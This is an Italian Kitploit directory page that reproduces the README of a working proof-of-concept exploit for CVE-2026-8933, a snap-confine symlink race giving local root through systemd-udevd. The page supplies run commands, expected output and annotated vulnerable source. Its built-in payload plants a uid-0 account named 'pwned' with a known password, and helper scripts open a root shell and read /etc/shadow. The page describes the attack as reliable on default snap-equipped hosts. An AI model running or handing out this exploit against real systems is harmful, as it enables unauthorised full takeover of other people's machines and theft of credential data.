Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-8933 — PoC funzionante per CVE-2026-8933: una race condition su symlink nel mount-namespace di snap-confine che inserisce una regola udev di proprietà di root, ottenendo root locale tramite systemd-udevd. | Kitploit
Strumenti/GitHubGitHub/songzzzz/cve-2026-8933
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSviluppo Payload
GitHubsongzzzz/cve-2026-8933

CVE-2026-8933

PoC funzionante per CVE-2026-8933: una race condition su symlink nel mount-namespace di snap-confine che inserisce una regola udev di proprietà di root, ottenendo root locale tramite systemd-udevd.

Vedi Repository
120 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-8933 — race sul mount-namespace di snap-confine → shell di root locale

PoC funzionante. Escalation di privilegi locale completa riprodotta end-to-end, da un utente non privilegiato (uid 1000) a una vera shell di root con uid 0 — senza password, senza interazione, senza privilegi preesistenti.

Un processo non privilegiato induce il binario snap-confine con set-capabilities a scrivere una regola udev di proprietà di root nella directory /run/udev/rules.d/ dell'host; systemd-udevd esegue poi il payload PROGRAM= della regola come root. Il payload integrato crea un account con uid 0 e una password nota, così su - pwned (o ./_rootshell.py) fornisce una shell di root.

Componentesnap-confine → sc_replicate_base_rootfs() (sorgente di snapd 2.73 in _msc_273.c; l'host testato eseguiva snapd 2.76.3 ed era comunque sfruttabile)
ClasseEscalation di privilegi locale (race su symlink → creazione arbitraria di file di proprietà di root in /run/udev/** → esecuzione di codice come root)
Risultatoshell con uid=0(root) da un account non privilegiato
Affidabilità16 esecuzioni: 7 riuscite al primo tentativo, le altre al secondo; mai più di 2
Portabilitàindipendente dall'host: snap di destinazione, nome dell'app, cgroup scope, uid e percorso di snap-confine vengono tutti rilevati a runtime
Root necessarionessuno (vedi §9)

Indice

TL;DR · 1. Avvio rapido · 2. Requisiti · 3. Cosa dovresti vedere · 4. Il bug · 5. Vincere le race · 6. Payload · 7. Contenuto del pacchetto · 8. Configurazione · 9. Privilegi e pulizia · 10. Impatto e correzione · Risoluzione dei problemi · Riferimenti · Disclaimer

TL;DR

cd <package dir>
bash _t18poc.sh 100% 12        # ~1–2 min, no password required

Output previsto (abbreviato):

### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"

### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash

### 3. root shell
  credentials: pwned / pwned (uid 0)
  root@host:~# id; whoami
  uid=0(root) gid=0(root) groups=0(root)
  root

Il driver ripulisce da solo (regola, payload, account impiantato, directory temporanee e i relativi mount). KEEP=1 mantiene l'account in modo che la shell root possa essere usata interattivamente in seguito:

KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py                  # interactive root shell (password typed for you)
./_rootshell.py -c 'id'          # one-shot command as root
su - pwned                       # or just this, password: pwned

1. Avvio rapido

cd <package dir>

./t18 info                       # optional: which snap is the target?
bash _t18poc.sh 100% 12          # quota, max attempts

_t18poc.sh [quota] [attempts] compila t18 + _ftrig, rileva il target, esegue l'exploit finché non riesce, attiva udevd, verifica il payload root e esegue la pulizia. 100% 12 è il valore usato per tutte le misurazioni seguenti; 0.3% 40 funziona anch'esso (quota più stretta, più tentativi).

Prima di toccare qualsiasi cosa il driver stampa il target rilevato automaticamente:

target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope  : snap.firefox.firefox.scope
snapd       : 2.76.3

2. Requisiti

  • un host systemd (user manager in esecuzione — l'exploit pilota cgroup.freeze sullo user scope),
  • snap-confine vulnerabile, installato set-capabilities (cap_chown,cap_dac_override,cap_sys_admin,…) — non set-uid-root,
  • gcc + libfuse3 (pkg-config fuse3) per compilare t18 e _ftrig,
  • almeno uno snap installato la cui directory /snap/<snap>/current contenga un file regolare al primo livello — è quella voce DT_REG che fa eseguire la open() vulnerabile (es. firefox, core22, …). Qualsiasi snap di questo tipo va bene; SNAP=<name> ne forza uno specifico.

./t18 info stampa snap, app, base, unit, scope, confine e il numero di voci/file regolari del target rilevato, quindi esce — un modo rapido per vedere se un host è sfruttabile con gli snap che ha installati.

3. Cosa dovresti vedere

Evidenza di un tentativo riuscito

[   22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[   22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[   25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[   35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[   35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[   35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[   41.012] spinner: rule written into the root-owned file
[   42.362] phase 2: 180 slices, win=1 (udev rule written)
[   42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
             /tmp/snap.rootfs_bTvhoA/default256.png: Permission denied

Il file creato da snap-confine con privilegi di root, sull'host:

-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"

e lo script payload a cui punta (scritto dall'uid 1000, eseguito da systemd-udevd come uid 0):

-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root)          <- /tmp/.pwned.root

snap-confine termina subito dopo, sul bind mount negato da AppArmor della stessa voce — a quel punto il file è già stato creato e riempito.

Shell di root

$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7:::                 <- /etc/shadow is root-only
$ ./_rootshell.py                              # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

Affidabilità

16 esecuzioni di _t18poc.sh tra la ricerca e la build generica finale sono tutte terminate nell'LPE (7 di esse al primo tentativo, le restanti al secondo); nessuna esecuzione ha richiesto più di 2 tentativi. Ogni esecuzione ripulisce ciò che ha creato (regola, payload, account inserito, directory temporanee e i relativi mount).

4. Il bug

snapd 2.73, sc_replicate_base_rootfs() (sorgente in _msc_273.c):

 511     if (mkdtemp(scratch_dir) == NULL)                    // /tmp/snap.rootfs_XXXXXX
 523     sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
 530     sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
 535         sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
 536         sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
 362     if (chown(scratch_dir, 0, 0) < 0)  die(...);
...
 418             int fd = open(full_path, O_CREAT | O_TRUNC, 0644);   // no O_NOFOLLOW
 422             if (fchown(fd, 0, 0) < 0) die(...);
 428             sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);

snap-confine è installato con set-capabilities (cap_chown, cap_dac_override, cap_sys_admin, …), non set-uid-root, quindi mantiene l'euid non privilegiato pur possedendo capacità quasi-root. Conseguenze:

Scarica lo strumento